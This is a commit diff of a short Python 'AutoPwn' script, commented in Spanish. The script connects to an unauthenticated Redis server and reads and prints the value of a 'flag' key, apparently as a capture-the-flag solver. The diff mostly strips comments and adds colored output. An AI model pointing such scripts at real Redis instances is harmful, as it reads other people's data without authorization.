1
1
#!/usr/bin/python3
2
- # Shebang - indica que el archivo debe ser interpretado con Python 3
3
2
4
3
import argparse
5
- # Importa el módulo argparse para manejar los argumentos de línea de comandos
6
-
7
4
import redis
8
- # Importa el módulo redis para interactuar con el servidor Redis
5
+ from colorama import Fore , Style
9
6
10
7
class Exploit :
11
8
def __init__ (self , ip_address , lport ):
12
9
self .ip_address = ip_address
13
10
self .lport = lport
14
- # Inicializa la clase Exploit con una dirección IP y un puerto
15
11
16
12
def run (self , ip_address , lport ):
17
- # Define el método "run" para ejecutar la explotación
18
-
19
13
# Crea una instancia del cliente Redis
20
14
r = redis .Redis (host = self .ip_address , port = self .lport )
21
15
@@ -24,33 +18,25 @@ def run(self, ip_address, lport):
24
18
25
19
# Verifica si se encontró un valor para la clave "flag"
26
20
if contenido is not None :
27
- print (f"El contenido de la 'flag': { contenido .decode ()} " )
21
+ print (Fore . GREEN + f" \n El contenido de la 'flag': { contenido .decode ()} \n " + Style . RESET_ALL )
28
22
else :
29
- print ("La clave 'flag' no existe en Redis." )
23
+ print (Fore . RED + "La clave 'flag' no existe en Redis." + Style . RESET_ALL )
30
24
31
25
def get_arguments ():
26
+ # Función para obtener los argumentos de línea de comandos: dirección IP y puerto
32
27
parser = argparse .ArgumentParser (description = 'Uso de AutoPwn' )
33
- # Crea un objeto ArgumentParser con una descripción
34
-
35
28
parser .add_argument ('-i' , '--ip' , dest = 'ip_address' , required = True , help = 'IP de host remoto' )
36
- # Agrega un argumento "-i" o "--ip" para la dirección IP del host remoto
37
-
38
- parser .add_argument ('-p' , '--port' , dest = 'lport' , required = True , help = 'Proporcionar puerto.' )
39
- # Agrega un argumento "-p" o "--port" para el puerto
40
-
29
+ parser .add_argument ('-p' , '--port' , default = 6379 , dest = 'lport' , required = False , help = 'Proporcionar puerto.' )
41
30
return parser .parse_args ()
42
- # Devuelve los argumentos analizados
43
31
44
32
def main ():
33
+ # Función principal
45
34
args = get_arguments ()
46
- # Obtiene los argumentos de línea de comandos
47
35
36
+ # Crea una instancia de la clase Exploit y ejecuta el método run
48
37
exploit = Exploit (args .ip_address , args .lport )
49
- # Crea una instancia de la clase Exploit con los argumentos proporcionados
50
-
51
38
exploit .run (args .ip_address , args .lport )
52
- # Ejecuta el método "run" de la instancia de la clase Exploit
53
39
54
40
if __name__ == '__main__' :
55
41
main ()
56
- # Ejecuta la función main si el script se ejecuta directamente (no se importa como módulo)
42
+
0 commit comments